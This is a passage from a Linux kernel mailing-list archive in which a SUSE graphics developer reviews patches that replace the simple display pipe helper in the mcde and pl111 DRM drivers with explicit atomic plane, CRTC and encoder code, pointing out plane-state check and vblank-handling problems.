> +	struct drm_framebuffer *old_fb = plane->state->fb;
>   	struct drm_framebuffer *fb = pstate->fb;
> +	int ret;
> +
> +	if (!crtc)
> +		return 0;

Your planes' atomic_check functions should always run 
drm_atomic_helper_check_plane_state() first. Otherwise, the plane state 
will be incorrect.

If there is no crtc, simply pass NULL for the CRTC state.Â  I'd advise to 
duplicate the pattern at [1] from lines 487 to 498.Â  After 
_check_plane_state() ran, the atomic_check can do additional tests.

If not looked over all the other patches for this problem, but this 
comment would apply to all of them.

[1] 
https://elixir.bootlin.com/linux/v7.1.2/source/drivers/gpu/drm/mgag200/mgag200_mode.c#L487

> +
> +	cstate = drm_atomic_get_new_crtc_state(state, crtc);
> +	if (!cstate)
> +		return 0;
> +
> +	ret = drm_atomic_helper_check_plane_state(pstate, cstate,
> +						  DRM_PLANE_NO_SCALING,
> +						  DRM_PLANE_NO_SCALING,
> +						  false, false);
> +	if (ret)
> +		return ret;
> +
> +	if (!pstate->visible)
> +		return 0;
> +
> +	mode = &cstate->mode;
>   
>   	if (fb) {
>   		u32 offset = drm_fb_dma_get_gem_addr(fb, pstate, 0);
> @@ -1149,16 +1171,14 @@ static void mcde_setup_dsi(struct mcde *mcde, const struct drm_display_mode *mod
>   	*dsi_formatter_frame = formatter_frame;
>   }
>   
> -static void mcde_display_enable(struct drm_simple_display_pipe *pipe,
> -				struct drm_crtc_state *cstate,
> -				struct drm_plane_state *plane_state)
> +static void mcde_crtc_helper_atomic_enable(struct drm_crtc *crtc,
> +					   struct drm_atomic_commit *state)
>   {
> -	struct drm_crtc *crtc = &pipe->crtc;
> -	struct drm_plane *plane = &pipe->plane;
>   	struct drm_device *drm = crtc->dev;
>   	struct mcde *mcde = to_mcde(drm);
> +	struct drm_crtc_state *cstate = crtc->state;
>   	const struct drm_display_mode *mode = &cstate->mode;
> -	struct drm_framebuffer *fb = plane->state->fb;
> +	struct drm_framebuffer *fb = mcde->plane.state->fb;
>   	u32 format = fb->format->format;
>   	int dsi_pkt_size;
>   	int fifo_wtrmrk;
> @@ -1298,9 +1318,9 @@ static void mcde_display_enable(struct drm_simple_display_pipe *pipe,
>   	dev_info(drm->dev, "MCDE display is enabled\n");
>   }
>   
> -static void mcde_display_disable(struct drm_simple_display_pipe *pipe)
> +static void mcde_crtc_helper_atomic_disable(struct drm_crtc *crtc,
> +					    struct drm_atomic_commit *state)
>   {
> -	struct drm_crtc *crtc = &pipe->crtc;
>   	struct drm_device *drm = crtc->dev;
>   	struct mcde *mcde = to_mcde(drm);
>   	struct drm_pending_vblank_event *event;
> @@ -1381,17 +1401,23 @@ static void mcde_set_extsrc(struct mcde *mcde, u32 buffer_address)
>   	writel(buffer_address + mcde->stride, mcde->regs + MCDE_EXTSRCXA1);
>   }
>   
> -static void mcde_display_update(struct drm_simple_display_pipe *pipe,
> -				struct drm_plane_state *old_pstate)
> +static void mcde_plane_helper_atomic_update(struct drm_plane *plane,
> +					    struct drm_atomic_commit *state)
>   {
> -	struct drm_crtc *crtc = &pipe->crtc;
> -	struct drm_device *drm = crtc->dev;
> -	struct mcde *mcde = to_mcde(drm);
> -	struct drm_pending_vblank_event *event = crtc->state->event;
> -	struct drm_plane *plane = &pipe->plane;
> +	struct drm_crtc *crtc = plane->state->crtc;
> +	struct drm_device *drm;
> +	struct mcde *mcde;
> +	struct drm_pending_vblank_event *event;
>   	struct drm_plane_state *pstate = plane->state;
>   	struct drm_framebuffer *fb = pstate->fb;
>   
> +	if (!crtc)
> +		return;

The helper first does vblank handling and then handles visibility by 
testing "if (fb)". No need for this test.

> +
> +	drm = crtc->dev;
> +	mcde = to_mcde(drm);
> +	event = crtc->state->event;
> +

And this needs to handle !crtc without returning.

>   	/*
>   	 * Handle any pending event first, we need to arm the vblank

And the next block handled vblanks, which is not the right place. That's 
a preexisting issue.Â  Vblank handling is better done in the crtc's 
atomic_flush.

Best regards
Thomas

>   	 * interrupt before sending any update to the display so we don't
> @@ -1443,9 +1469,8 @@ static void mcde_display_update(struct drm_simple_display_pipe *pipe,
>   	}
>   }
>   
> -static int mcde_display_enable_vblank(struct drm_simple_display_pipe *pipe)
> +static int mcde_crtc_enable_vblank(struct drm_crtc *crtc)
>   {
> -	struct drm_crtc *crtc = &pipe->crtc;
>   	struct drm_device *drm = crtc->dev;
>   	struct mcde *mcde = to_mcde(drm);
>   	u32 val;
> @@ -1462,9 +1487,8 @@ static int mcde_display_enable_vblank(struct drm_simple_display_pipe *pipe)
>   	return 0;
>   }
>   
> -static void mcde_display_disable_vblank(struct drm_simple_display_pipe *pipe)
> +static void mcde_crtc_disable_vblank(struct drm_crtc *crtc)
>   {
> -	struct drm_crtc *crtc = &pipe->crtc;
>   	struct drm_device *drm = crtc->dev;
>   	struct mcde *mcde = to_mcde(drm);
>   
> @@ -1474,13 +1498,56 @@ static void mcde_display_disable_vblank(struct drm_simple_display_pipe *pipe)
>   	writel(0xFFFFFFFF, mcde->regs + MCDE_RISPP);
>   }
>   
> -static struct drm_simple_display_pipe_funcs mcde_display_funcs = {
> -	.check = mcde_display_check,
> -	.enable = mcde_display_enable,
> -	.disable = mcde_display_disable,
> -	.update = mcde_display_update,
> -	.enable_vblank = mcde_display_enable_vblank,
> -	.disable_vblank = mcde_display_disable_vblank,
> +static int mcde_crtc_helper_atomic_check(struct drm_crtc *crtc, struct drm_atomic_commit *state)
> +{
> +	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
> +	int ret;
> +
> +	if (!crtc_state->enable)
> +		goto out;
> +
> +	ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
> +	if (ret)
> +		return ret;
> +
> +out:
> +	return drm_atomic_add_affected_planes(state, crtc);
> +}
> +
> +static const struct drm_crtc_funcs mcde_crtc_funcs = {
> +	.reset			= drm_atomic_helper_crtc_reset,
> +	.destroy		= drm_crtc_cleanup,
> +	.set_config		= drm_atomic_helper_set_config,
> +	.page_flip		= drm_atomic_helper_page_flip,
> +	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
> +	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
> +	.enable_vblank		= mcde_crtc_enable_vblank,
> +	.disable_vblank		= mcde_crtc_disable_vblank,
> +};
> +
> +static const struct drm_crtc_helper_funcs mcde_crtc_helper_funcs = {
> +	.atomic_check	= mcde_crtc_helper_atomic_check,
> +	.atomic_enable	= mcde_crtc_helper_atomic_enable,
> +	.atomic_disable	= mcde_crtc_helper_atomic_disable,
> +};
> +
> +static const struct drm_plane_funcs mcde_plane_funcs = {
> +	.update_plane		= drm_atomic_helper_update_plane,
> +	.disable_plane		= drm_atomic_helper_disable_plane,
> +	.reset			= drm_atomic_helper_plane_reset,
> +	.destroy		= drm_plane_cleanup,
> +	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
> +	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
> +};
> +
> +static const struct drm_plane_helper_funcs mcde_plane_helper_funcs = {
> +	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
> +	.atomic_check	= mcde_plane_helper_atomic_check,
> +	.atomic_update	= mcde_plane_helper_atomic_update,
> +};
> +
> +static const struct drm_encoder_funcs mcde_encoder_funcs = {
> +	.destroy = drm_encoder_cleanup,
>   };
>   
>   int mcde_display_init(struct drm_device *drm)
> @@ -1510,11 +1577,30 @@ int mcde_display_init(struct drm_device *drm)
>   	if (ret)
>   		return ret;
>   
> -	ret = drm_simple_display_pipe_init(drm, &mcde->pipe,
> -					   &mcde_display_funcs,
> -					   formats, ARRAY_SIZE(formats),
> -					   NULL,
> -					   mcde->connector);
> +	ret = drm_universal_plane_init(drm, &mcde->plane, 0,
> +				       &mcde_plane_funcs,
> +				       formats, ARRAY_SIZE(formats),
> +				       NULL, DRM_PLANE_TYPE_PRIMARY, NULL);
> +	if (ret)
> +		return ret;
> +
> +	drm_plane_helper_add(&mcde->plane, &mcde_plane_helper_funcs);
> +
> +	ret = drm_crtc_init_with_planes(drm, &mcde->crtc, &mcde->plane,
> +					NULL, &mcde_crtc_funcs, NULL);
> +	if (ret)
> +		return ret;
> +
> +	drm_crtc_helper_add(&mcde->crtc, &mcde_crtc_helper_funcs);
> +
> +	ret = drm_encoder_init(drm, &mcde->encoder, &mcde_encoder_funcs,
> +			       DRM_MODE_ENCODER_NONE, NULL);
> +	if (ret)
> +		return ret;
> +
> +	mcde->encoder.possible_crtcs = drm_crtc_mask(&mcde->crtc);
> +
> +	ret = drm_connector_attach_encoder(mcde->connector, &mcde->encoder);
>   	if (ret)
>   		return ret;
>   
> diff --git a/drivers/gpu/drm/mcde/mcde_drm.h b/drivers/gpu/drm/mcde/mcde_drm.h
> index ecb70b4b737c..6123afb1e3b8 100644
> --- a/drivers/gpu/drm/mcde/mcde_drm.h
> +++ b/drivers/gpu/drm/mcde/mcde_drm.h
> @@ -4,7 +4,7 @@
>    * Parts of this file were based on the MCDE driver by Marcus Lorentzon
>    * (C) ST-Ericsson SA 2013
>    */
> -#include <drm/drm_simple_kms_helper.h>
> +#include <drm/drm_encoder.h>
>   
>   #ifndef _MCDE_DRM_H_
>   #define _MCDE_DRM_H_
> @@ -72,7 +72,9 @@ struct mcde {
>   	struct drm_panel *panel;
>   	struct drm_bridge *bridge;
>   	struct drm_connector *connector;
> -	struct drm_simple_display_pipe pipe;
> +	struct drm_plane plane;
> +	struct drm_crtc crtc;
> +	struct drm_encoder encoder;
>   	struct mipi_dsi_device *mdsi;
>   	bool dpi_output;
>   	s16 stride;
> diff --git a/drivers/gpu/drm/mcde/mcde_drv.c b/drivers/gpu/drm/mcde/mcde_drv.c
> index 5f2c462bad7e..401cf8ab83bc 100644
> --- a/drivers/gpu/drm/mcde/mcde_drv.c
> +++ b/drivers/gpu/drm/mcde/mcde_drv.c
> @@ -186,8 +186,7 @@ static int mcde_modeset_init(struct drm_device *drm)
>   	}
>   
>   	/* Attach the bridge. */
> -	ret = drm_simple_display_pipe_attach_bridge(&mcde->pipe,
> -						    mcde->bridge);
> +	ret = drm_bridge_attach(&mcde->encoder, mcde->bridge, NULL, 0);
>   	if (ret) {
>   		dev_err(drm->dev, "failed to attach display output bridge\n");
>   		return ret;
>

-- 
--
Thomas Zimmermann
Graphics Driver Developer
SUSE Software Solutions Germany GmbH
Frankenstr. 146, 90461 NÃ¼rnberg, Germany, www.suse.com
GF: Jochen Jaser, Andrew McDonald, (HRB 36809, AG NÃ¼rnberg)




From xen-devel-bounces@lists.xenproject.org Wed Jul 08 13:03:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 13:03:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356984.1611489 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whRwM-0002gr-3G; Wed, 08 Jul 2026 13:03:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356984.1611489; Wed, 08 Jul 2026 13:03:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whRwM-0002gk-0E; Wed, 08 Jul 2026 13:03:50 +0000
Received: by outflank-mailman (input) for mailman id 1356984;
 Wed, 08 Jul 2026 13:03:48 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tzimmermann@suse.de>) id 1whRwK-0002gc-0k
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:03:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whRwJ-008MNf-DT
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 15:03:47 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a4e4ab3-bab6-0a2a0a5309dd-0a2a4508d73c-2
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:03:47 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a4e4ab3-edec-0a2a45080019-c387df82e206-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:03:47 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 861A076026;
 Wed,  8 Jul 2026 13:03:46 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id DCF9C779AE;
 Wed,  8 Jul 2026 13:03:45 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id 0NupNLFKTmoOLQAAD6G6ig
 (envelope-from <tzimmermann@suse.de>); Wed, 08 Jul 2026 13:03:45 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783515826; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=vx4MUMUPW+cvPFm4OHv8pg1uFv77h5nfjhtL0ZgDfqs=;
	b=VGWGn+Y+Ub/X3cWSoJx8lW+U782iCaR6v0WNvUoyKlJJBqCQDVerhihUhqseGWx71cxd3h
	R5e0TjYUw3agBeehXrNv0Zy/v1dpPCoOnZZ7UpmQf4g/h3oRpemM8XBiv1AwhQDc4kxQLz
	wGPSjrD1Bx0weLl4UmP2PD5e0iZvFpo=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783515826;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=vx4MUMUPW+cvPFm4OHv8pg1uFv77h5nfjhtL0ZgDfqs=;
	b=6dGjxnbXJR4C1BA/EXMtjuhVIxLXQ+bWkbQPZ79XzVKw0WY2BJan/2JQ+1mtbvhGAzLjtt
	0ZOtOIOAUh5OIpDQ==
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.de header.s=susede2_rsa header.b=VGWGn+Y+;
	dkim=pass header.d=suse.de header.s=susede2_ed25519 header.b=6dGjxnbX
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783515826; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=vx4MUMUPW+cvPFm4OHv8pg1uFv77h5nfjhtL0ZgDfqs=;
	b=VGWGn+Y+Ub/X3cWSoJx8lW+U782iCaR6v0WNvUoyKlJJBqCQDVerhihUhqseGWx71cxd3h
	R5e0TjYUw3agBeehXrNv0Zy/v1dpPCoOnZZ7UpmQf4g/h3oRpemM8XBiv1AwhQDc4kxQLz
	wGPSjrD1Bx0weLl4UmP2PD5e0iZvFpo=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783515826;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=vx4MUMUPW+cvPFm4OHv8pg1uFv77h5nfjhtL0ZgDfqs=;
	b=6dGjxnbXJR4C1BA/EXMtjuhVIxLXQ+bWkbQPZ79XzVKw0WY2BJan/2JQ+1mtbvhGAzLjtt
	0ZOtOIOAUh5OIpDQ==
Message-ID: <747ae980-9358-4e15-84e3-6e2f3e143423@suse.de>
Date: Wed, 8 Jul 2026 15:03:45 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 5/9] drm/pl111: replace struct drm_simple_display_pipe
 with regular atomic helpers
To: Ze Huang <ze.huang@oss.qualcomm.com>,
 Alexey Brodkin <abrodkin@synopsys.com>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Joel Stanley <joel@jms.id.au>,
 Andrew Jeffery <andrew@codeconstruct.com.au>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
 Hans de Goede <hansg@kernel.org>, Alex Lanzano <lanzano.alex@gmail.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
 linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
 imx@lists.linux.dev, xen-devel@lists.xenproject.org
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
 <20260705-drm-simple-kms-removal-v1-5-b4e1ca053623@oss.qualcomm.com>
Content-Language: en-US
From: Thomas Zimmermann <tzimmermann@suse.de>
Autocrypt: addr=tzimmermann@suse.de; keydata=
 xsBNBFs50uABCADEHPidWt974CaxBVbrIBwqcq/WURinJ3+2WlIrKWspiP83vfZKaXhFYsdg
 XH47fDVbPPj+d6tQrw5lPQCyqjwrCPYnq3WlIBnGPJ4/jreTL6V+qfKRDlGLWFjZcsrPJGE0
 BeB5BbqP5erN1qylK9i3gPoQjXGhpBpQYwRrEyQyjuvk+Ev0K1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YAQgAIAIbDBYhBHIX+6yM6c9jRKFo5WgNwR1TC3ojBQJftOH6AAoJEGgNwR1T
 C3ojVSkIALpAPkIJPQoURPb1VWjh34l0HlglmYHvZszJWTXYwavHR8+k6Baa6H7ufXNQtThR
 yIxJrQLW6rV5lm7TjhffEhxVCn37+cg0zZ3j7zIsSS0rx/aMwi6VhFJA5hfn3T0TtrijKP4A
 SAQO9xD1Zk9/61JWk8OysuIh7MXkl0fxbRKWE93XeQBhIJHQfnc+YBLprdnxR446Sh8Wn/2D
 Ya8cavuWf2zrB6cZurs048xe0UbSW5AOSo4V9M0jzYI4nZqTmPxYyXbm30Kvmz0rYVRaitYJ
 4kyYYMhuULvrJDMjZRvaNe52tkKAvMevcGdt38H4KSVXAylqyQOW5zvPc4/sq9c=
In-Reply-To: <20260705-drm-simple-kms-removal-v1-5-b4e1ca053623@oss.qualcomm.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Rspamd-Action: no action
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	SUSPICIOUS_RECIPS(1.50)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_DKIM_ALLOW(-0.20)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	DKIM_SIGNED(0.00)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	RCPT_COUNT_TWELVE(0.00)[22];
	FREEMAIL_TO(0.00)[oss.qualcomm.com,synopsys.com,linux.intel.com,kernel.org,gmail.com,ffwll.ch,jms.id.au,codeconstruct.com.au,nxp.com,pengutronix.de,epam.com];
	MIME_TRACE(0.00)[0:+];
	ARC_NA(0.00)[];
	FREEMAIL_ENVRCPT(0.00)[gmail.com];
	RCVD_TLS_ALL(0.00)[];
	DKIM_TRACE(0.00)[suse.de:+];
	RCVD_COUNT_TWO(0.00)[2];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	DNSWL_BLOCKED(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	MID_RHS_MATCH_FROM(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	TAGGED_RCPT(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:url,imap1.dmz-prg2.suse.org:helo,imap1.dmz-prg2.suse.org:rdns,suse.de:mid,suse.de:dkim,qualcomm.com:email]
X-Rspamd-Server: rspamd2.dmz-prg2.suse.org
X-Rspamd-Queue-Id: 861A076026
X-Spam-Score: -3.01
X-purgate-ID: tlsNG-c1860d/1783515827-43D333FC-966BCD2F/0/0
X-purgate-type: clean
X-purgate-size: 12110



Am 04.07.26 um 20:31 schrieb Ze Huang:
> Replace PL111 simple display pipe with explicit plane, CRTC and encoder
> objects.
>
> Keep existing hardware programming and vblank behavior, and install GEM
> framebuffer prepare helper explicitly.
>
> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
> ---
>   drivers/gpu/drm/pl111/pl111_display.c | 174 ++++++++++++++++++++++++++--------
>   drivers/gpu/drm/pl111/pl111_drm.h     |   5 +-
>   drivers/gpu/drm/pl111/pl111_drv.c     |   3 +-
>   3 files changed, 136 insertions(+), 46 deletions(-)
>
> diff --git a/drivers/gpu/drm/pl111/pl111_display.c b/drivers/gpu/drm/pl111/pl111_display.c
> index 5d10bc5fdf1f..b1bdd4c9dbe6 100644
> --- a/drivers/gpu/drm/pl111/pl111_display.c
> +++ b/drivers/gpu/drm/pl111/pl111_display.c
> @@ -15,6 +15,7 @@
>   #include <linux/media-bus-format.h>
>   #include <linux/of_graph.h>
>   
> +#include <drm/drm_atomic_helper.h>
>   #include <drm/drm_fb_dma_helper.h>
>   #include <drm/drm_fourcc.h>
>   #include <drm/drm_framebuffer.h>
> @@ -37,7 +38,7 @@ irqreturn_t pl111_irq(int irq, void *data)
>   		return IRQ_NONE;
>   
>   	if (irq_stat & CLCD_IRQ_NEXTBASE_UPDATE) {
> -		drm_crtc_handle_vblank(&priv->pipe.crtc);
> +		drm_crtc_handle_vblank(&priv->crtc);
>   
>   		status = IRQ_HANDLED;
>   	}
> @@ -49,10 +50,10 @@ irqreturn_t pl111_irq(int irq, void *data)
>   }
>   
>   static enum drm_mode_status
> -pl111_mode_valid(struct drm_simple_display_pipe *pipe,
> -		 const struct drm_display_mode *mode)
> +pl111_crtc_helper_mode_valid(struct drm_crtc *crtc,
> +			     const struct drm_display_mode *mode)
>   {
> -	struct drm_device *drm = pipe->crtc.dev;
> +	struct drm_device *drm = crtc->dev;
>   	struct pl111_drm_dev_private *priv = drm->dev_private;
>   	u32 cpp = DIV_ROUND_UP(priv->variant->fb_depth, 8);
>   	u64 bw;
> @@ -83,13 +84,35 @@ pl111_mode_valid(struct drm_simple_display_pipe *pipe,
>   	return MODE_OK;
>   }
>   
> -static int pl111_display_check(struct drm_simple_display_pipe *pipe,
> -			       struct drm_plane_state *pstate,
> -			       struct drm_crtc_state *cstate)
> +static int pl111_plane_helper_atomic_check(struct drm_plane *plane,
> +					   struct drm_atomic_commit *state)
>   {
> -	const struct drm_display_mode *mode = &cstate->mode;
> -	struct drm_framebuffer *old_fb = pipe->plane.state->fb;
> +	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(state, plane);
> +	struct drm_crtc *crtc = pstate->crtc;
> +	struct drm_crtc_state *cstate;
> +	const struct drm_display_mode *mode;
> +	struct drm_framebuffer *old_fb = plane->state->fb;
>   	struct drm_framebuffer *fb = pstate->fb;
> +	int ret;
> +
> +	if (!crtc)
> +		return 0;
> +
> +	cstate = drm_atomic_get_new_crtc_state(state, crtc);
> +	if (!cstate)
> +		return 0;
> +
> +	ret = drm_atomic_helper_check_plane_state(pstate, cstate,
> +						  DRM_PLANE_NO_SCALING,
> +						  DRM_PLANE_NO_SCALING,
> +						  false, false);

This is another case of _check_plane_state() running conditionally.

> +	if (ret)
> +		return ret;
> +
> +	if (!pstate->visible)
> +		return 0;
> +
> +	mode = &cstate->mode;
>   
>   	if (mode->hdisplay % 16)
>   		return -EINVAL;
> @@ -117,16 +140,14 @@ static int pl111_display_check(struct drm_simple_display_pipe *pipe,
>   	return 0;
>   }
>   
> -static void pl111_display_enable(struct drm_simple_display_pipe *pipe,
> -				 struct drm_crtc_state *cstate,
> -				 struct drm_plane_state *plane_state)
> +static void pl111_crtc_helper_atomic_enable(struct drm_crtc *crtc,
> +					    struct drm_atomic_commit *state)
>   {
> -	struct drm_crtc *crtc = &pipe->crtc;
> -	struct drm_plane *plane = &pipe->plane;
>   	struct drm_device *drm = crtc->dev;
>   	struct pl111_drm_dev_private *priv = drm->dev_private;
> +	struct drm_crtc_state *cstate = crtc->state;
>   	const struct drm_display_mode *mode = &cstate->mode;
> -	struct drm_framebuffer *fb = plane->state->fb;
> +	struct drm_framebuffer *fb = priv->plane.state->fb;
>   	struct drm_connector *connector = priv->connector;
>   	struct drm_bridge *bridge = priv->bridge;
>   	bool grayscale = false;
> @@ -355,9 +376,9 @@ static void pl111_display_enable(struct drm_simple_display_pipe *pipe,
>   		drm_crtc_vblank_on(crtc);
>   }
>   
> -static void pl111_display_disable(struct drm_simple_display_pipe *pipe)
> +static void pl111_crtc_helper_atomic_disable(struct drm_crtc *crtc,
> +					     struct drm_atomic_commit *state)
>   {
> -	struct drm_crtc *crtc = &pipe->crtc;
>   	struct drm_device *drm = crtc->dev;
>   	struct pl111_drm_dev_private *priv = drm->dev_private;
>   	u32 cntl;
> @@ -387,17 +408,23 @@ static void pl111_display_disable(struct drm_simple_display_pipe *pipe)
>   	clk_disable_unprepare(priv->clk);
>   }
>   
> -static void pl111_display_update(struct drm_simple_display_pipe *pipe,
> -				 struct drm_plane_state *old_pstate)
> +static void pl111_plane_helper_atomic_update(struct drm_plane *plane,
> +					     struct drm_atomic_commit *state)
>   {
> -	struct drm_crtc *crtc = &pipe->crtc;
> -	struct drm_device *drm = crtc->dev;
> -	struct pl111_drm_dev_private *priv = drm->dev_private;
> -	struct drm_pending_vblank_event *event = crtc->state->event;
> -	struct drm_plane *plane = &pipe->plane;
> +	struct drm_crtc *crtc = plane->state->crtc;
> +	struct drm_device *drm;
> +	struct pl111_drm_dev_private *priv;
> +	struct drm_pending_vblank_event *event;
>   	struct drm_plane_state *pstate = plane->state;
>   	struct drm_framebuffer *fb = pstate->fb;
>   
> +	if (!crtc)
> +		return;
> +
> +	drm = crtc->dev;
> +	priv = drm->dev_private;
> +	event = crtc->state->event;
> +
>   	if (fb) {
>   		u32 addr = drm_fb_dma_get_gem_addr(fb, pstate, 0);
>   
> @@ -416,9 +443,8 @@ static void pl111_display_update(struct drm_simple_display_pipe *pipe,
>   	}
>   }
>   
> -static int pl111_display_enable_vblank(struct drm_simple_display_pipe *pipe)
> +static int pl111_display_enable_vblank(struct drm_crtc *crtc)
>   {
> -	struct drm_crtc *crtc = &pipe->crtc;
>   	struct drm_device *drm = crtc->dev;
>   	struct pl111_drm_dev_private *priv = drm->dev_private;
>   
> @@ -427,21 +453,63 @@ static int pl111_display_enable_vblank(struct drm_simple_display_pipe *pipe)
>   	return 0;
>   }
>   
> -static void pl111_display_disable_vblank(struct drm_simple_display_pipe *pipe)
> +static void pl111_display_disable_vblank(struct drm_crtc *crtc)
>   {
